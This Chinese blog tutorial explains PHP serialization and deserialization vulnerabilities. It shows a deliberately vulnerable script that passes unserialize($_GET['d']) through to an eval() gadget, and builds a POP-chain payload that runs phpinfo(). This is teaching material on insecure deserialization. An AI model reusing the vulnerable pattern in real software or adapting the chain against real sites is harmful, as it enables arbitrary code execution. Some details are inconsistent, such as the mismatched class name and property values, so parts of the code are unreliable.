一、php反序列化

  1.序列号与反序列化

  (1)serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。

  (2)想要将已序列化的字符串变回 PHP 的值,可使用 unseralize()serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。

erialize(mixed $value): string

  简单来说,序列化就是将对象转化为字符串

  (3)unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

<?php
//序列化&反序列化
class demotest{
    public $name='delevin';
    public $sex='man';
    public $age='18';
}
$example=new demotest();
$s=serialize($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);
echo '<br>';

  结果如下:

   php对象需要表达的内容较多,如类属性值得类型、值等,所以会存在一个基本格式,下面是php序列化后的基本类型表达:

  • 布尔值(bool):b:value => b:0
  • 整数值(int):i:value => i:1
  • 字符串型(str):s:length:”value”; => s:4:”aaaa”
  • 数组型(array):a:<length>:{key,value pairs}; => a:1:{i:1;s:1:”a”}
  • 对象型(object):O:<class_name_length>
  • NULL型:N

  最终序列化数据的数据格式如下:

<class_name>:<number_of_properties>:{properties}

   上图可以这样理解,O表示这是一个对象,8表示对象名的长度,demotest则是序列化的对象名称,3表示对象中存在三个属性。第一个属性(name):s表示是字符串,4表示属性名长度,name表示属性名,s是属性值的类型为字符型,7表示属性值得长度,delevin为属性值;第二个属性同样为字符串。第三个属性(age):i表示是整形,它的值为整数型29。

 二、反序列化漏洞

  PHP中存在魔术方法,即PHP自己调用,但是存在调用条件。比如,_construct是当对象被创建时会被自动调用,如果魔术方法还存在一些恶意代码,即可完成攻击。

  常见的魔术方法触发方式如下:

  • __construct(): //构造函数,当对象new的时候会自动调用
  • __destruct()://析构函数当对象被销毁时会被自动调用
  • __wakeup(): //unserialize()时会被自动调用
  • __invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
  • __call(): //在对象上下文中调用不可访问的方法时触发
  • __callStatci(): //在静态上下文中调用不可访问的方法时触发
  • __get(): //用于从不可访问的属性读取数据
  • __set(): //用于将数据写入不可访问的属性
  • __isset(): //在不可访问的属性上调用isset()或empty()触发
  • __unset(): //在不可访问的属性上使用unset()时触发
  • __toString(): //把类当作字符串使用时触发
  • __sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
<?php
class test {
    function __construct(){
        $this->ClassObj = new normal();
    }
    function __destruct(){
        $this->ClassObj->action();
    }
}
class normal {
    function action(){
        echo "hello";
    }
}
class evil{
    private $data;
    function action(){
        eval($this->data);
    }
}
unserialize($_GET['d'])
?>

  以上代码存在normal正常类和evil恶意类,test正常调用是创建了一个normal实例,在destruct中还调用了normal实例的action方法,如果将$this->ClassObj替换为evil类,当调用action方法时会evil的action方法,从而eval($this->data)中,导致任意代码执行。

   接下来构造POP链,可以在__construct中将Classobj换为evil类,将evil类的私有属性data赋值为phpinfo(),使用urlencode避免”%00″的缺失。

<?php
class lemon{
  protected $ClassObj;
  function __construct(){
    $this->ClassObj = new evil();
  }
}
class evil{
  private $data = "phpinfo();";
}
echo serialize(new lemon());
echo '<br>';
echo urlencode(serialize(new lemon()));
?>

  得到一串字符,此字符串为POP链:

O:5:"lemon":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}} 

 

 

版权声明:本文为Delevin原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Delevin/p/16329708.html